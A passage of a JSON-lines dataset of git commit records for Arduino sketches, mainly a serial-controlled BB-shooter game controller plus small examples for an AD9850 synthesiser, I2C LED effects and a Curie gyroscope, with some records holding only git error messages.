locations\nvolatile byte *ptrOCR4H[] = {\n 0, &OCR4AH, &OCR4BH, &OCR4CH}; \/\/Maps for the locations of the high and low output compare value byte locations\nvolatile byte *ptrOCR4L[] = {\n 0, &OCR4AL, &OCR4BL, &OCR4CL};\nvolatile boolean buttonPressed[] = {\n 0, 0, 0, 0};\nunsigned long lastButtonPress; \/\/Saves the last time that a button was pressed\n\nconst byte motorLevel[] = {\n 0,motorLevel1,motorLevel2,motorLevel3}; \/\/Individual PWM signal levels for each motor\n#define mStoInt(x) ((unsigned int) floor((x*125)\/8)) \/\/The number of 64uS needed to get to ballReleaseTime\nconst unsigned int ballReleaseInt[] = {\n 0, mStoInt(ballReleaseTime1), mStoInt(ballReleaseTime2), mStoInt(ballReleaseTime3)};\nchar offset[] = {\n 0,offset1,offset2,offset3}; \/\/servo offsets\n\n\n\/\/ Global Variables\n\/*******************************************************************************************\/\nbyte commandID=0;\nbyte bytesRemaining; \/\/\nchar buffer[5];\nunsigned long timer; \/\/A multi-purpose timer\n\nunsigned long ballReleaseTimer[4]; \/\/Saves when the last ball was released.\nboolean ballReleasing[] = {\n 0,0,0,0}; \/\/Indicates whether we are in the process of releasing a ball\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Setup\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid setup(){\n\n \/\/ Constants\n \/*******************************************************************************************\/\n commandLength[1]=2;\n commandLength[2]=1;\n commandLength[3]=2;\n\n commandLength[0x80]=0;\n commandLength[0x81]=0;\n commandLength[0xE0]=1;\n commandLength[0xE1]=1;\n commandLength[0xE2]=2;\n\n \/\/ Timer Setup\n \/*******************************************************************************************\/\n \/\/Set timer 4 to Normal mode, clock prescaler of 1024, other parameters\n TCCR4A = B00000000;\n TCCR4B = B00000101;\n interrupts(); \/\/Enable interrupts\n \/\/NOTE: This must be run BEFORE using delaying commangs. If this is run after a certain\n \/\/amount of time, the interrupts don't function correctly.\n\n \/\/ Pin Modes and Setup\n \/*******************************************************************************************\/\n for (byte i=1;i<4;i++){\n pinMode(motorPins[i],OUTPUT);\n pinMode(solenoidPins[i],OUTPUT);\n\n analogWrite(motorPins[i],motorLevel[i]); \/\/Set the PWM signal for the motor\n digitalWrite(solenoidPins[i],LOW); \/\/Ensure the solenoid is low\n\n pinMode(ledPins[i],OUTPUT); \/\/Set the LED pins as outputs\n pinMode(ledPinsY[i],OUTPUT);\n pinMode(buttonPins[i],INPUT_PULLUP); \/\/Set the button pins as inputs pulled high\n }\n\n \/\/Set the config switch pins as inputs pulled high\n pinMode(pinConfig1,INPUT_PULLUP);\n pinMode(pinConfig2,INPUT_PULLUP);\n pinMode(pinArbiter,INPUT_PULLUP);\n\n\n \/\/ Other Setup Code\n \/*******************************************************************************************\/\n Serial.begin(9600);\n Serial.setTimeout(commsTimeout);\n#if DEBUG==1\n Serial.println(\"Arduino Start\");\n#endif\n\n\n \/\/Attach the servo objects\n servo1.attach(pinServo1,429,2571); \/\/Include the maximum and minimum pulse widths.\n servo2.attach(pinServo2,429,2571);\n servo3.attach(pinServo3,429,2571);\n\n \/\/Run a test pattern on the LEDs\n float num = 200; \/\/mS\n for (byte i=0;i<2;i++){\n for (byte j=1;j<4;j++){\n digitalWrite(ledPinsY[j],HIGH);\n delay(num);\n num=num*0.93;\n digitalWrite(ledPinsY[j],LOW);\n }\n for (byte j=3;j>0;j--){\n digitalWrite(ledPins[j],HIGH);\n delay(num);\n num=num*0.93;\n digitalWrite(ledPins[j],LOW);\n }\n }\n \n\/*\n \/\/Run a servo test - NOT YET READY\n for (byte i=0;i<1;i++){\n for (byte j=angleLowest; j<=angleHighest; j++) {\n servo1.write(j++offset1);\n servo2.write(j++offset2);\n servo3.write(j++offset3);\n delay(20);\n }\n for (byte j=angleHighest; j>=angleLowest; j--) {\n servo1.write(j++offset1);\n servo2.write(j++offset2);\n servo3.write(j++offset3);\n delay(20);\n }\n }\n*\/\n \n \/*\n for (byte i=0;i<3;i++){\n byte j=angleLowest;\n servo3.write(j);\n servo1.write(j);\n servo2.write(j);\n\n delay(600);\n j=angleHighest;\n servo3.write(j);\n servo1.write(j);\n servo2.write(j);\n\n delay(1000);\n }\n*\/\n\n \/\/Set all servos to 90 degrees\n servo1.write(90+offset[1]);\n servo2.write(90+offset[2]);\n servo3.write(90+offset[3]);\n\n \/\/Wait until 'Game Start' signal is sent from the arbiter\n#if DEBUG==1\n Serial.println(\"Waiting for arbiter to activate\");\n#endif\n while(digitalRead(pinArbiter)==HIGH){ \/\/Wait until the pin goes low\n while (Serial.available()) {\n Serial.read(); \/\/Clear any serial characters.\n }\n }\n \/\/Send 'Game Start' message to laptop\n sendMessage(0x80);\n#if DEBUG==1\n Serial.println(\"GAME START received\");\n#endif\n\n}\n\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Loop\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid loop(){\n checkSerial(); \/\/Check for incoming commands, and execute them\n\n \/\/Check if the arbiter has signalled that the game is over\n if(digitalRead(pinArbiter)==HIGH){\n sendMessage(0x81);\n#if DEBUG==1\n Serial.println(\"GAME STOP received\");\n#endif\n while(digitalRead(pinArbiter)==HIGH){\n while (Serial.available()) {\n Serial.read(); \/\/Clear any serial characters.\n }\n } \/\/Wait until the pin goes low\n sendMessage(0x80);\n#if DEBUG==1\n Serial.println(\"GAME START received\");\n#endif\n }\n\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*checkSerial\n\/*******************************************************************************************\/\nvoid checkSerial(){\n if (Serial.available()) {\n \/\/Search for the initization sequence\n if (Serial.read()=='G'){\n timer=millis()+commsTimeout;\n while (!Serial.available()){ \/\/Wait until another character is available\n if (millis()>timer) { \/\/Exit the loop if we don't receive another character\n break;\n }\n } \n if (Serial.peek()=='O'){\n Serial.read(); \/\/Remove the 'O' from the serial buffer.\n \/\/Initialization Sequence detected!\n\n#if DEBUG==1\n Serial.println(\"'G O' found!\");\n#endif\n\n timer=millis()+commsTimeout;\n while (!Serial.available()){ \/\/Wait until another character is available\n if (millis()>timer) { \/\/Exit the loop if we don't receive another character\n break;\n }\n } \n commandID=Serial.read(); \/\/This byte is the command ID\n\n \/\/Now, read the required number of data bytes into the array 'buffer'\n Serial.readBytes(buffer,commandLength[commandID]);\n\n \/\/Execute the command\n executeCommand();\n }\n }\n }\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*executeCommand\n\/*******************************************************************************************\/\n\/\/This function executes whatever the necessary action is, as told by the command and data\n\/\/received through serial comms\nvoid executeCommand(){\n switch (commandID){\n case 1:\n \/\/Aim shooter <db1> to angle defined by <db2>\n setShooterAngle(buffer[0],(byte) buffer[1]);\n break;\n case 2:\n \/\/Release a ball on shooter <db1>\n releaseBall(buffer[0]);\n break;\n case 3:\n \/\/Change servo angle offset\n offset[buffer[0]]=(char) buffer[1]; \/\/Changed to a signed byte\n default:\n#if DEBUG==1\n Serial.print(\"Unrecognized command ID: \");\n Serial.println(commandID);\n#endif\n \/\/Send error feedback to laptop\n sendMessage(0xE0,commandID);\n digitalWrite(ledPinsY[1],HIGH); \/\/Light up the error LED\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*setShooterAngle\n\/*******************************************************************************************\/\n\/\/This function changes the servo signal for shooter <shooterNum> to the angle defined by \n\/\/ <angle>. <angle> is a byte that ranges from 180, which maps from 900 to 2100 mS.\nvoid setShooterAngle(byte shooterNum, byte angle){\n\n \/\/ unsigned int output = (((unsigned int) angle-1)*137)\/29+900; \/\/ 137\/29 = 4.724 = 1200\/254, the scaling factor to get to uS\n\n#if DEBUG==1\n Serial.print(\"Setting shooter \");\n Serial.print(shooterNum);\n Serial.print(\" to \");\n Serial.println(angle);\n#endif\n\n\n \/\/Set the servo output. Use a switch statement to use the correct servo object.\n if (angle<angleLowest || angle>angleHighest) {\n \/\/The angle is invalid! Don't move the shooter, and send error feedback\n sendMessage(0xE2,shooterNum,angle);\n digitalWrite(ledPinsY[3],HIGH); \/\/Light up the error LED\n }\n else{\n \/\/Apply the angle offset\n angle += offset[shooterNum];\n switch (shooterNum) {\n case 1:\n servo1.write(angle);\n break;\n case 2:\n servo2.write(angle);\n break;\n case 3:\n servo1.write(angle);\n break;\n default:\n#if DEBUG==1\n Serial.print(\"Unrecognized shooter Num: \");\n Serial.println(shooterNum);\n#endif\n \/\/Send unrecognized shooter num feedback to laptop\n sendMessage(0xE1,shooterNum);\n digitalWrite(ledPinsY[2],HIGH); \/\/Light up the error LED\n }\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*releaseBall\n\/*******************************************************************************************\/\n\/\/This function releases one BB (hopefully) from shooter <shooterNum>\nvoid releaseBall(byte shooterNum) {\n\n#if DEBUG==1\n Serial.print(\"Releasing ball from shooter: \");\n Serial.println(shooterNum);\n#endif\n if (shooterNum<1 || shooterNum>3) { \/\/Check that the shooter number is valid\n#if DEBUG==1\n Serial.print(\"Unrecognized shooter Num: \");\n Serial.println(shooterNum);\n#endif\n \/\/Send unrecognized shooter num feedback to laptop\n sendMessage(0xE1,shooterNum);\n }\n else {\n digitalWrite(solenoidPins[shooterNum],HIGH); \/\/Activate the solenoid: open the passage\n digitalWrite(ledPins[shooterNum],HIGH); \/\/Turn on the respective LED\n\n \/\/With interrupts, set the timed interrupt\n timedInterrupt(shooterNum, ballReleaseInt[shooterNum]); \/\/Should be 547 for 35mS\n }\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*timedInterrupt\n\/*******************************************************************************************\/\n\/\/timerNum tells whether to use Output Compare A, B or C (for shooters 1, 2 or 3)\n\/\/time tells the amount of time to set it for, in multiples of 62 uS. 547 gives 35mS.\nvoid timedInterrupt(byte timerNum, unsigned int time){\n\n \/\/Grab the current count from the timer\n unsigned int count = TCNT4L; \/\/Read the low byte first;\n count += TCNT4H*256;\n \/\/Add the time we wish to find\n\n count += time; \/\/Set the the value entered\n\n \/\/Set the value of count into the output compare registers\n *ptrOCR4H[timerNum] = count>>8; \/\/High byte first\n *ptrOCR4L[timerNum] = count; \/\/The low byte\n\n \/\/Turn on interrupts for output compare on the required timer\n TIMSK4 |= _BV(OCIE4[timerNum]);\n\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*sendMessage\n\/*******************************************************************************************\/\n\/\/This function sends commands to the laptop. It has optional inputs.\nvoid sendMessage (byte CMD,byte in1, byte in2, byte in3) {\n#if killMsgSend==0\n Serial.print(\"GO\");\n if (commandLength[CMD]>0){\n Serial.print(in1);\n if (commandLength[CMD]>1){\n Serial.print(in2);\n if (commandLength[CMD]>2){\n Serial.print(in3);\n }\n }\n }\n Serial.println(); \/\/Print a new line character\n#endif\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*Timer Interrupt Service Routines\n\/*******************************************************************************************\/\nISR(TIMER4_COMPA_vect){\n \/\/Turn off the interrupts\n TIMSK4 &= 255 - _BV(OCIE4A);\n\n digitalWrite(solenoidPins[1],LOW); \/\/Deactivate the solenoid: close the BB passage\n digitalWrite(ledPins[1],LOW); \/\/Turn off the respective LED\n#if DEBUG==1\n Serial.println(\"Deactivating solenoid: 1\");\n#endif\n}\n\nISR(TIMER4_COMPB_vect){\n \/\/Turn off the interrupts\n TIMSK4 &= 255 - _BV(OCIE4B);\n\n digitalWrite(solenoidPins[2],LOW); \/\/Deactivate the solenoid: close the BB passage\n digitalWrite(ledPins[2],LOW); \/\/Turn off the respective LED\n#if DEBUG==1\n Serial.println(\"Deactivating solenoid: 2\");\n#endif\n}\n\nISR(TIMER4_COMPC_vect){\n \/\/Turn off the interrupts\n TIMSK4 &= 255 - _BV(OCIE4C);\n\n digitalWrite(solenoidPins[3],LOW); \/\/Deactivate the solenoid: close the BB passage\n digitalWrite(ledPins[3],LOW); \/\/Turn off the respective LED\n#if DEBUG==1\n Serial.println(\"Deactivating solenoid: 3\");\n#endif\n}\n\n\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'embedded\/Crossfire_Program_nobuttons\/Crossfire_Program_nobuttons.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c95f3cf1b7a3495c6daeb4b23a004e76659be315","subject":"Auto power now checks the brightness every 2 minutes","message":"Auto power now checks the brightness every 2 minutes\n","repos":"VaSe7u\/Music_LED_strip,VaSe7u\/Music_LED_strip","old_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VaSe7u\/Music_LED_strip.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"345683f3f8412a99f04cea04368a2a280cb5ee7d","subject":"Averaging light and temperature analog reads.","message":"Averaging light and temperature analog reads.\n","repos":"VaSe7u\/Music_LED_strip,VaSe7u\/Music_LED_strip","old_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VaSe7u\/Music_LED_strip.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cb1322f3199b53f1651ca6d2742fc71c1342a5e3","subject":"Remove from previous location","message":"Remove from previous location\n","repos":"rwood-moz\/iot-hacking","old_file":"physical-web\/arduino-beacon.ino","new_file":"physical-web\/arduino-beacon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rwood-moz\/iot-hacking.git\/'\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"0d4430a496c4b95460a15858a620173df429b017","subject":"Pir module","message":"Pir module\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/PirMotion\/pirMotion\/pirMotion.ino","new_file":"modules\/PirMotion\/pirMotion\/pirMotion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c2f505d3aeb35a839cd11aadaf57f526dd42281e","subject":"Create AD9850SPI.ino","message":"Create AD9850SPI.ino","repos":"F4GOJ\/AD9850SPI","old_file":"examples\/AD9850SPI\/AD9850SPI.ino","new_file":"examples\/AD9850SPI\/AD9850SPI.ino","new_contents":"#include <AD9850SPI.h>\n#include <SPI.h>\n\nconst int W_CLK_PIN = 13;\nconst int FQ_UD_PIN = 8;\nconst int RESET_PIN = 9;\n\ndouble freq = 10000000;\ndouble trimFreq = 124999500;\n\nint phase = 0;\n\nvoid setup(){\n DDS.begin(W_CLK_PIN, FQ_UD_PIN, RESET_PIN);\n DDS.calibrate(trimFreq);\n}\n\nvoid loop(){\n DDS.setfreq(freq, phase);\n delay(10000);\n DDS.down();\n delay(3000);\n DDS.up();\n delay(2000);\n DDS.setfreq(freq + 500, phase);\n delay(5000);\n DDS.down();\n while(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AD9850SPI\/AD9850SPI.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"fa692fea87c0bc9d5a675d6b7caa5e6b7e18dccf","subject":"yeah. exploraton finished? bah... :smile:","message":"yeah. exploraton finished? bah... :smile:\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e79f78a7548a31652eb745d47191b53befbdf68","subject":"misspelled variable servoPosition","message":"misspelled variable servoPosition\n","repos":"estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll","old_file":"hacks\/GingerbreadHouse\/Arduino\/GingerbreadHouse\/GingerbreadHouse.ino","new_file":"hacks\/GingerbreadHouse\/Arduino\/GingerbreadHouse\/GingerbreadHouse.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/estefanniegg\/estefannieExplainsItAll.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"896dcfc01775c52bbad4ef0e33694ee79e3ac0d8","subject":"Master code to blink lights on client address 7 connected on i2c","message":"Master code to blink lights on client address 7 connected on i2c\n","repos":"jayway\/BlinkenBilly","old_file":"arduino\/master\/lighteffect\/lighteffect.ino","new_file":"arduino\/master\/lighteffect\/lighteffect.ino","new_contents":"#include <Wire.h>\n\n#define LED_PIN 13 \nbyte x = 0; \n\n\/\/ ====================================================== \n\nvoid setup() \n{ \nWire.begin(); \/\/ Start I2C Bus as Master \npinMode(LED_PIN, OUTPUT); \ndigitalWrite(LED_PIN, LOW); \nSerial.begin(9600);\n} \n\n\/\/ ====================================================== \n\nvoid loop() \n{ \n\/\/ \/\/code to determine order \n\/\/ for (int tennis = 0; tennis < 6; tennis++) {\n\/\/ turnOnShelf(tennis, 7);\n\/\/ delay(3000);\n\/\/ }\n int lamp = 0;\n \n \n while (true) {\n turnOffAll(7);\n delay(300);\n sendLightEffectUp(lamp, 7, 1000); \n sendLightEffectDown(lamp, 7, 1000);\n lamp ++;\n lamp = lamp % 6;\n delay(1000);\n }\n digitalWrite(LED_PIN, HIGH);\n \n Serial.write(\"\\nyes\\n\");\n \n \/\/delay(1000);\n digitalWrite(LED_PIN, LOW);\n \n \n \n} \n\nvoid sendLightEffectUp(int shelf, int billy, int duration) {\n \n int intensity = 0;\n int i = 0;\n do {\n Wire.beginTransmission(billy);\n Serial.print(\"\\n\");\n for (i = 0; i < 6; i++) {\n int distance = abs (shelf - i);\n int atten = min((distance * 60), 255);\n int value = max((intensity - atten), 0);\n Wire.write(value);\n Serial.print(value);\n Serial.print(\"\\n\");\n }\n intensity += 5;\n Wire.endTransmission(); \n } while (intensity < 255);\n}\n\nvoid sendLightEffectDown(int shelf, int billy, int duration) {\n \n int intensity = 255;\n int i = 0;\n do {\n Wire.beginTransmission(billy);\n Serial.print(\"\\n\");\n for (i = 0; i < 6; i++) {\n if (shelf == i) {\n Wire.write(255);\n } else {\n int distance = abs (shelf - i);\n int atten = min((distance * 60), 255);\n int value = max((intensity - atten), 0);\n Wire.write(value);\n Serial.print(value);\n Serial.print(\"\\n\");\n }\n }\n intensity -= 5;\n Wire.endTransmission(); \n } while (intensity > 0);\n}\n\n\nvoid turnOffAll(int billy) {\n Wire.beginTransmission(billy);\n for (int i = 0; i < 6; i++) {\n Wire.write(0); \n } \n Wire.endTransmission(); \n}\n\nvoid turnOnShelf(int j, int billy) {\n Wire.beginTransmission(billy);\n for (int i = 0; i < 6; i++) {\n if (i == j) {\n Wire.write(0); \n } else {\n Wire.write(255);\n } \n } \n Wire.endTransmission(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/master\/lighteffect\/lighteffect.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7e628f15227d24c81c4f42bfe1f3cb351bdb8f78","subject":"Initial gyroscope example","message":"Initial gyroscope example\n","repos":"eriknyquist\/corelibs-arduino101,sgbihu\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,facchinm\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,eriknyquist\/corelibs-arduino101,SidLeung\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,linrjing\/corelibs-arduino101,linrjing\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,SidLeung\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,sgbihu\/corelibs-arduino101,01org\/corelibs-arduino101,sgbihu\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,01org\/corelibs-arduino101,facchinm\/corelibs-arduino101,01org\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101","old_file":"libraries\/CurieImu\/examples\/Gyro\/Gyro.ino","new_file":"libraries\/CurieImu\/examples\/Gyro\/Gyro.ino","new_contents":"\/*\n Copyright (c) 2015 Intel Corporation. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n*\/\n\n\/*\n This sketch example demonstrates how the BMI160 on the\n Intel(R) Curie(TM) module can be used to read gyroscope data\n*\/\n\n#include \"CurieImu.h\"\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialize Serial communication\n while (!Serial); \/\/ wait for the serial port to open\n\n \/\/ initialize device\n Serial.println(\"Initializing IMU device...\");\n CurieIMU.begin();\n\n \/\/ Set the accelerometer range to 250 degrees\/second\n CurieIMU.setGyroRange(CURIE_IMU_GYRO_RANGE_250);\n\n Serial.println(\"About to calibrate gyro. Make sure your board is stable and upright\");\n delay(5000);\n\n \/\/ start gyro\n Serial.print(\"Starting gyro calibration...\");\n CurieIMU.autoCalibrateGyroOffset();\n Serial.println(\" Done\");\n\n Serial.println(\"Enabling gyro offset compensation\");\n CurieIMU.enableGyroOffset(true);\n}\n\nvoid loop() {\n short int gxRaw, gyRaw, gzRaw; \/\/ raw gyro values\n float gx, gy, gz;\n\n \/\/ read raw gyro measurements from device\n CurieIMU.readGyro(gxRaw, gyRaw, gzRaw);\n\n \/\/ convert the raw gyro data to degrees\/second\n gx = convertRawGyro(gxRaw);\n gy = convertRawGyro(gyRaw);\n gz = convertRawGyro(gzRaw);\n\n \/\/ display tab-separated gyro x\/y\/z values\n Serial.print(\"g:\\t\");\n Serial.print(gx);\n Serial.print(\"\\t\");\n Serial.print(gy);\n Serial.print(\"\\t\");\n Serial.print(gz);\n Serial.println();\n\n \/\/ wait 5 seconds\n delay(5000);\n}\n\nfloat convertRawGyro(short gRaw) {\n \/\/ since we are using 250 degrees\/seconds range\n \/\/ -250 maps to a raw value of -32768\n \/\/ +250 maps to a raw value of 32767\n \n float g = (gRaw * 250.0) \/ 32768.0;\n\n return g;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/CurieImu\/examples\/Gyro\/Gyro.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} 